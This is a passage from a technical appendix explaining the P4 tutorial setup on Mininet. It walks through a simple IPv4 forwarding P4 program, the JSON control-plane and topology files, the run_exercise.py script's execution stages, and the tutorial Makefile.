36 mark_to_drop(standard_metadata);
37 }
38

39 action ipv4_forward(macAddr_t dstAddr , egressSpec_t port) {
40 standard_metadata.egress_spec = port;
41 hdr.ethernet.srcAddr = hdr.ethernet.dstAddr;
42 hdr.ethernet.dstAddr = dstAddr;
43 hdr.ipv4.ttl = hdr.ipv4.ttl - 1;
44 }
45

46 table ipv4_lpm {
47 key = {
48 hdr.ipv4.dstAddr: lpm;
49 }
50 actions = {
51 ipv4_forward;
52 drop;
53 NoAction;
54 }
55 size = 1024;
56 default_action = drop();
57 }
58

59 apply {
60 if (hdr.ipv4.isValid ()) {
61 ipv4_lpm.apply();
62 }
63 }
64 }
65 /(... Omitted ...)/
66

67 /********* E G R E S S P R O C E S S I N G ************/
68

69 control MyEgress(inout headers hdr ,
70 inout metadata meta ,
71 inout standard_metadata_t standard_metadata) {
72 apply { }
73 }
74

90



Understanding Mininet in the context of P4 Tutorials

75 /(... Omitted ...)/
76

77 /********* D E P A R S E R ******************/
78

79 control MyDeparser(packet_out packet , in headers hdr) {
80 apply {
81 packet.emit(hdr.ethernet);
82 packet.emit(hdr.ipv4);
83 }
84 }
85

86 /(... Omitted ...)/

Listing A.1: P416 Simple Forwarding Example

A.5.2 The Control-Plane file

The control-plane file uses JSON format and completes the data-plane file, in-
serting entries corresponding to the respective data-plane tables. For example,
entries for the corresponding ipv4_lpm table are filled in this file. Such tables are
filled at startup.

Listing A.2 illustrates a control-plane file example. For each entry for a given
table, 4 pieces of information can be modified:

• table. Defines to which table the entry corresponds.

• match. Defines the matching criteria.

• action_name. Defines which action is taken in a successful match.

• action_params. Defines the value for the action parameters.

Note: Each parameter should match its respective data-plane counterpart, mean-
ing that for an entry to be inserted, then a table must exist, for an action to be
called it must be defined in the data-plane, etc.

Listing A.2, exemplifies a control plane file. Since the example only uses one
table in the data-plane counterpart, all entries are defined for said table. Its be-
havior can be described as: for any given IP (key), the switch performs the My-
Ingress.ipv4_forward action, which sets both the (dstAddress and Port).

1 {
2 "target ": "bmv2",
3 "p4info ": "build/basic.p4.p4info.txt",
4 "bmv2_json ": "build/basic.json",
5 "table_entries ": [
6 {
7 "table": "MyIngress.ipv4_lpm",
8 "default_action ": true ,
9 "action_name ": "MyIngress.drop",

10 "action_params ": { }
11 },
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12 {
13 "table": "MyIngress.ipv4_lpm",
14 "match": {
15 "hdr.ipv4.dstAddr ": ["10.0.1.1" , 32]
16 },
17 "action_name ": "MyIngress.ipv4_forward",
18 "action_params ": {
19 "dstAddr ": "08:00:00:00:01:11" ,
20 "port": 1
21 }
22 },
23 {
24 "table": "MyIngress.ipv4_lpm",
25 "match": {
26 "hdr.ipv4.dstAddr ": ["10.0.2.2" , 32]
27 },
28 "action_name ": "MyIngress.ipv4_forward",
29 "action_params ": {
30 "dstAddr ": "08:00:00:00:02:22" ,
31 "port": 2
32 }
33 },
34 {
35 "table": "MyIngress.ipv4_lpm",
36 "match": {
37 "hdr.ipv4.dstAddr ": ["10.0.3.3" , 32]
38 },
39 "action_name ": "MyIngress.ipv4_forward",
40 "action_params ": {
41 "dstAddr ": "08:00:00:00:03:00" ,
42 "port": 3
43 }
44 },
45 {
46 "table": "MyIngress.ipv4_lpm",
47 "match": {
48 "hdr.ipv4.dstAddr ": ["10.0.4.4" , 32]
49 },
50 "action_name ": "MyIngress.ipv4_forward",
51 "action_params ": {
52 "dstAddr ": "08:00:00:00:04:00" ,
53 "port": 4
54 }
55 }
56 ]
57 }

Listing A.2: Control plane file example

A.5.3 Topology File

The topology file uses JSON format and contains information regarding the net-
work and its composition. For a simple triangle topology (as depicted in Figure
A.1), the topology file takes the format given in listing A.3.

1 {

92



Understanding Mininet in the context of P4 Tutorials

Figure A.1: Triangle topology representation

2 "hosts": {
3 "h1": {"ip": "10.0.1.1/24" , "mac": "08:00:00:00:01:11" ,
4 "commands ":[" route add default gw 10.0.1.10 dev eth0",
5 "arp -i eth0 -s 10.0.1.10 08:00:00:00:01:00"]} ,
6 "h2": {"ip": "10.0.2.2/24" , "mac": "08:00:00:00:02:22" ,
7 "commands ":[" route add default gw 10.0.2.20 dev eth0",
8 "arp -i eth0 -s 10.0.2.20 08:00:00:00:02:00"]} ,
9 "h3": {"ip": "10.0.3.3/24" , "mac": "08:00:00:00:03:33" ,

10 "commands ":[" route add default gw 10.0.3.30 dev eth0",
11 "arp -i eth0 -s 10.0.3.30 08:00:00:00:03:00"]}
12 },
13 "switches ": {
14 "s1": { "runtime_json" : "triangle -topo/s1 -runtime.json" },
15 "s2": { "runtime_json" : "triangle -topo/s2 -runtime.json" },
16 "s3": { "runtime_json" : "triangle -topo/s3 -runtime.json" }
17 },
18 "links": [
19 ["h1", "s1 -p1"], ["s1-p2", "s2 -p2"], ["s1-p3", "s3 -p2"],
20 ["s3-p3", "s2 -p3"], ["h2", "s2 -p1"], ["h3", "s3 -p1"]
21 ]
22 }

Listing A.3: Topology File

In this file, the following elements can be found:

• hosts. Defines the hosts instantiated by Mininet. Parameters such as IP and
MAC address and, startup commands are also defined in this section. In
the example, the commands used are:

– route add, which adds a static route to the default gateway (the switch).

– arp, which manipulates the system ARP cache (adds an entry for the
switch’s MAC address).
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• switches. Defines switch behavior. Three parameters can be inserted here:

– program. Defines the program inserted into the switch (data plane).
Note: If this parameter is not set, then the execution assumes the de-
fault P4 file (passed on startup)

– runtime_json. Defines the path for the control plane file (similar to the
one presented in section A.5.2).

– runtime_cli. Also defines the path for the control plane file. This file is
directed at actions that are only supported by the switch_cli interface
(such as setting up mirroring).

• links. Defines the links between network nodes. The following list format
is used: [Node1, Node2, Latency, Bandwidth], where nodes can be defined as
<Hostname>, for hosts, and <SwitchName>-<SwitchPort> for switches. Both
latency and bandwidth is optional, where latency is an integer defined in mil-
liseconds(ms) and bandwidth is a float defined in megabytes (MB).

Note: IPs need not be attributed to switches, as they make use of the Linux Net-
working Stack[Mininet, b].

A.5.4 Mininet Python Script File

The most intricate piece of code presented in this document is the Python file. Its
goal is to guide the execution, using the files mentioned before, such that a net-
work is established without manually setting it up. The original file can be found
in https://github.com/p4lang/tutorials/blob/master/utils/run_exercise.
py.

Figure A.2, presents an infographic chart of the program’s flow of execution. To
understand the chart, it should be read in numerical order where 3a occurs after
3 but before 4. Instead of a single line of execution, the chart was created so that
it alludes to the different methods present in the code, bearing a resemblance to
the underlying code structure.

The following subsections analyze the different stages of execution (1 to 8) repre-
sented in the infographic.

1. Exercise instantiation;

2. Running the Exercise;

3. Creating the Mininet Network;

4. Starting the Mininet Network;

5. Programming the Hosts;

6. Programming the Switches;

7. Instantiating the Mininet Command Line Interface (CLI);

8. Stopping the Mininet Network.
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Figure A.2: Flow execution of the python script
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Exercise Instantiation

The initializer intakes the arguments passed by execution and performs an initial
formal parsing. Most notably it converts the links from the given <Node>-<Node>
format to a Python dictionary. This dictionary (shown in listing A.4) contains the
4 elements mentioned in topology file A.5.3.

1 #(... Omitted ...)#
2 link_dict = {’node1’:s,
3 ’node2 ’:t,
4 ’latency ’:’0ms’,
5 ’bandwidth ’:None
6 }
7 #(... Omitted ...)#

Listing A.4: Link dictionary format

Running the Exercise

The class Exercise, is created to help manage all data and manage the execution
flow. Listing A.5 describes the run_exercise() method. Lines 4 and 5 create the
network. Lines 9 and 10 program the network elements. Line 15 launches the
user interface.

1 #(... Omitted ...)#
2 def run_exercise(self):
3 # Initialize mininet with the topology specified by the config
4 self.create_network ()
5 self.net.start()
6 sleep (1)
7

8 # some programming that must happen after the net has started
9 self.program_hosts ()

10 self.program_switches ()
11

12 # wait for that to finish. Not sure how to do this better
13 sleep (1)
14

15 self.do_net_cli ()
16 # stop right after the CLI is exited
17 self.net.stop()
18 #(... Omitted ...)#

Listing A.5: Exercise control flow

Creating the Mininet Network

Creating the network is the most complex stage. It is in this stage that switches,
links, and hosts are added to the network. To instantiate the network object,
a class, ExerciseTopo, is used. This class inherits from the Topo Class native to
Mininet. Listing A.6 shows the initialization process of the ExerciseTopo class.

1 #(... Omitted ...)#
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2 self.topo = ExerciseTopo(self.hosts , self.switches , self.links ,
self.log_dir , self.bmv2_exe , self.pcap_dir)

3

4 class ExerciseTopo(Topo):
5 """ The mininet topology class for the P4 tutorial exercises.
6 """
7 def __init__(self , hosts , switches , links , log_dir , bmv2_exe ,

pcap_dir , **opts):
8 Topo.__init__(self , **opts)
9 host_links = []

10 switch_links = []
11 #(... Omitted ...)#

Listing A.6: Generating the network topology object

Next, listing A.7 illustrates the configuration of the switches. Using the method
configureP4Switch ensures the switch is created using the correct architecture, (sim-
ple_switch or simple_switch_grpc).

If no program is specified, the switch follows the default implementation (as
noted in A.14). As mentioned, since the switches use the Linux Network Stack,
no IPs need to be provided.

1 #(... Omitted ...)#
2 for sw, params in switches.items():
3 if "program" in params:
4 switchClass = configureP4Switch(
5 sw_path=bmv2_exe ,
6 json_path=params["program"],
7 log_console=True ,
8 pcap_dump=pcap_dir)
9 else:

10 # add default switch
11 switchClass = None
12 self.addSwitch(sw , log_file="%s/%s.log" %(log_dir , sw), cls=

switchClass)
13 #(... Omitted ...)

Listing A.7: Configuring the switches

As seen in A.8, the penultimate step is to generate the hosts and the host-to-switch
links. Using the information provided in the topology file (recall section A.5.3)
and the methods addHost and addLink, configurations are directly translated to
the Mininet Network.

1 #(... Omitted ...)
2 for link in host_links:
3 host_name = link[’node1’]
4 sw_name , sw_port = self.parse_switch_node(link[’node2 ’])
5 host_ip = hosts[host_name ][’ip’]
6 host_mac = hosts[host_name ][’mac’]
7 self.addHost(host_name , ip=host_ip , mac=host_mac)
8 self.addLink(host_name , sw_name ,
9 delay=link[’latency ’], bw=link[’bandwidth ’],

10 port2=sw_port
11 #(... Omitted ...)

Listing A.8: Configuring topology host and host links
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Finally, listing A.9 details the creation of links between switches. Using the data
structure presented in A.4, a parsing method splits the switch name and port,
creating links based on such properties.

1 #(... Omitted ...)
2 for link in switch_links:
3 sw1_name , sw1_port = self.parse_switch_node(link[’node1’])
4 sw2_name , sw2_port = self.parse_switch_node(link[’node2’])
5 self.addLink(sw1_name , sw2_name ,
6 port1=sw1_port , port2=sw2_port ,
7 delay=link[’latency ’], bw=link[’bandwidth ’])
8 #(... Omitted ...)

Listing A.9: Configuring topology switch links

Starting the Mininet Network

Starting the Mininet network can be achieved by using the start method of the
network object. In the example, the line of code is self.net.start()

Programming the Hosts

After starting the network, runtime commands are executed. Listing A.10, demon-
strates how console commands are applied to the hosts created in the network.
First, the host is retrieved from the network (using its name as key) and then,
using the method <host>.cmd(<command>), commands are executed.

1 #(... Omitted ...)#
2 def program_hosts(self):
3 for host_name , host_info in list(self.hosts.items ()):
4 h = self.net.get(host_name)
5 if "commands" in host_info:
6 for cmd in host_info["commands"]:
7 h.cmd(cmd)
8 #(... Omitted ...)#

Listing A.10: Programming the Host

Programming the Switches

Much like the hosts, the switches also have a runtime counterpart. The method
program_switches divides execution according to the switch type (simple_switch
or simple_switch_grpc) and runs the respective architecture-specific commands
(Note: since the simple_switch_grpc extends the (simple_switch the configuration
may make use of both CLI and runtime methods). Listing A.11 denotes the sub-
branch for the configuration of the simple_switch_grpc. Most notably, this method
makes use of the control plane file (referred to in section A.5.2).

1 #(... Omitted ...)#
2 def program_switch_p4runtime(self , sw_name , sw_dict):
3 sw_obj = self.net.get(sw_name)
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4 grpc_port = sw_obj.grpc_port
5 device_id = sw_obj.device_id
6 runtime_json = sw_dict[’runtime_json ’]
7 self.logger(’Configuring switch %s using P4Runtime with file %s

’ % (sw_name , runtime_json))
8 with open(runtime_json , ’r’) as sw_conf_file:
9 outfile = ’%s/%s-p4runtime -requests.txt’ %(self.log_dir ,

sw_name)
10 p4runtime_lib.simple_controller.program_switch(
11 addr=’127.0.0.1:%d’ % grpc_port ,
12 device_id=device_id ,
13 sw_conf_file=sw_conf_file ,
14 workdir=os.getcwd (),
15 proto_dump_fpath=outfile ,
16 runtime_json=runtime_json
17 )
18 #(... Omitted ...)#

Listing A.11: Programming the Switch

Instantiating the Mininet CLI

The final step of execution is presenting the user with a usable interface. This tool
is called the "Mininet CLI" and lets the user perform several operations in the
network (such as ping hosts, instantiating command lines inside the switches,
etc). In the example, listing A.12 presents do_net_cli method, which first prints
information about the network and then calls the Mininet CLI.

1 def do_net_cli(self):
2 #(... Omitted ...)#
3 print(’=============================================== ’)
4 print(’Welcome to the BMV2 Mininet CLI!’)
5 print(’=============================================== ’)
6 print(’Your P4 program is installed into the BMV2 software

switch ’)
7 print(’and your initial runtime configuration is loaded. You

can interact ’)
8 print(’with the network using the mininet CLI below.’)
9 print(’’)

10 #(... Omitted ...)#
11 CLI(self.net)

Listing A.12: Instantiating the Mininet CLI

Stopping the Mininet Network

Stopping the Mininet network is similar to starting, it can be achieved by calling
the "stop" method. In the example, the line of code is self.net.stop()

Other Notes

Switch Abstraction
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There might be some confusion regarding the origin of the P4RuntimeSwitch class.
This class materializes via library import. Listing A.13 details this process.

1 from p4_mininet import P4Host , P4Switch
2 from p4runtime_switch import P4RuntimeSwitch

Listing A.13: P416 Switch Abstraction Library

Default Switch

As mentioned previously, if no program is provided, the default switch is used
instead. This switch is defined in A.14 and is largely similar to the program-
enabled one. The difference in the program running inside the switch is defined
at startup.

1 defaultSwitchClass = configureP4Switch(
2 sw_path=self.bmv2_exe ,
3 json_path=self.switch_json ,
4 log_console=True ,
5 pcap_dump=self.pcap_dir)

Listing A.14: Default Switch

A.5.5 Makefile

Make is a very useful tool when it comes to automation. A Makefile is used by
the Make utility for configuration. Listing A.15 shows the Makefile used in the
tutorials.

1 BUILD_DIR = build
2 PCAP_DIR = pcaps
3 LOG_DIR = logs
4

5 P4C = p4c -bm2 -ss
6 P4C_ARGS += --p4runtime -files $(BUILD_DIR)/$(basename $@).p4.p4info

.txt
7

8 RUN_SCRIPT = ../../ utils/run_exercise.py
9

10 ifndef TOPO
11 TOPO = topology.json
12 endif
13

14 source = $(wildcard *.p4)
15 compiled_json := $(source :.p4=.json)
16

17 ifndef DEFAULT_PROG
18 DEFAULT_PROG = $(wildcard *.p4)
19 endif
20 DEFAULT_JSON = $(BUILD_DIR)/$(DEFAULT_PROG :.p4=.json)
21

22 # Define NO_P4 to start BMv2 without a program
23 ifndef NO_P4
24 run_args += -j $(DEFAULT_JSON)
25 endif
26
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27 # Set BMV2_SWITCH_EXE to override the BMv2 target
28 ifdef BMV2_SWITCH_EXE
29 run_args += -b $(BMV2_SWITCH_EXE)
30 endif
31

32 all: run
33

34 run: build
35 sudo python3 $(RUN_SCRIPT) -t $(TOPO) $(run_args)
36

37 stop:
38 sudo mn -c
39

40 build: dirs $(compiled_json)
41

42 %.json: %.p4
43 $(P4C) --p4v 16 $(P4C_ARGS) -o $(BUILD_DIR)/$@ $<
44

45 dirs:
46 mkdir -p $(BUILD_DIR) $(PCAP_DIR) $(LOG_DIR)
47

48 clean: stop
49 rm -f *.pcap
50 rm -rf $(BUILD_DIR) $(PCAP_DIR) $(LOG_DIR)

Listing A.15: Makefile

This Makefile has 3 main modes of execution):

• run. Build and runs the main program.

• stop. Stops the execution of the current Mininet network.

• clean. First calls stop, then cleans all files generated by execution.

Both stop and clean are straightforward. Stop calls the Mininet command to stop
the network sudo mn -c, while clean additionally removes all execution files using
"rm -f *.pcap" and "rm -rf $(BUILD_DIR) $(PCAP_DIR) $(LOG_DIR)".

As for run, follows the steps mentioned below:

1. Creates all the directories needed for execution: build, pcap, and log direc-
tories.

2. Convert all .p4 files into JSON files using the P4 Compiler (p4c) utility.
These files are placed in the build directory.

3. Runs the python script. The following arguments are used: the topology
file (topology.json by default); the default JSON file; the switch architecture
type.

The main make file, A.15, is meant to be a part of other Makefiles (working as a
library). In this way, the user just needs to set the required variables for execution
and call the "main" Makefile. An example of a Makefile that uses the "library
Makefile" can be found in listing A.16.

101



Appendix A

1 BMV2_SWITCH_EXE = simple_switch_grpc
2 TOPO = pod -topo/topology.json
3

4 include ../../ utils/Makefile

Listing A.16: Short makefile which makes use of the library makefile

A.6 Wrap-up

This document’s goal was to educate the reader about the inner workings of the
infrastructure behind the P4 tutorial repository [P4]. This document covers all
the files required to run a simulation, how to alter in order to them to create a
customized simulation, and a thorough explanation of the python script used
to run the simulation. To conclude, a summary chart (Figure A.3 is presented,
detailing all necessary steps and files to run a simulation of a P4 virtual network
in the context of the P4 tutorial repository.
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